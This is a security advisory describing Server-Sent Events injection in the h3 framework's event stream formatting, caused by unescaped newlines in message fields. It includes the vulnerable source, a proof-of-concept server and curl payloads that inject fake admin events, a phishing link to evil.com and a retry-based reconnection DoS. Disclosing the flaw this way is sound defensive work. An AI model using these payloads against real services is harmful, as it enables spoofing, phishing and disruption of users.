h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

export function formatEventStreamComment(comment: string): string {
  return `: ${comment}\n\n`;
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${message.id}\n`;
  }
  if (message.event) {
    result += `event: ${message.event}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  result += `data: ${message.data}\n\n`;
  return result;
}

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives
2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one
3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS)
4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format:        Actual wire format (with \n injection):

event: message               event: message
data: attacker: hey          event: admin              ← INJECTED
                             data: ALL_USERS_HACKED    ← INJECTED
                             data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended:                    Actual (with \n\n injection):

event: message               event: message
data: bob: hi                data: bob: hi
                                                        ← event boundary
                             event: system              ← INJECTED event
                             data: Reset: evil.com      ← INJECTED data

Before exploit: <img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";

const app = new H3();
const clients: any[] = [];

app.get("/events", (event) => {
  const stream = createEventStream(event);
  clients.push(stream);
  stream.onClosed(() => {
    clients.splice(clients.indexOf(stream), 1);
    stream.close();
  });
  return stream.send();
});

app.get("/send", async (event) => {
  const query = getQuery(event);
  const user = query.user as string;
  const msg = query.msg as string;
  const type = (query.type as string) || "message";

  for (const client of clients) {
    await client.push({ event: type, data: `${user}: ${msg}` });
  }

  return { status: "sent" };
});

serve({ fetch: app.fetch });

Exploit

# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"

# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"

Raw wire format proving injection

event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit

The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.

Proof:

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

• Cross-user content injection — inject fake messages in chat applications
• Phishing — inject fake system notifications with malicious links
• Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system)
• Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms
• Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.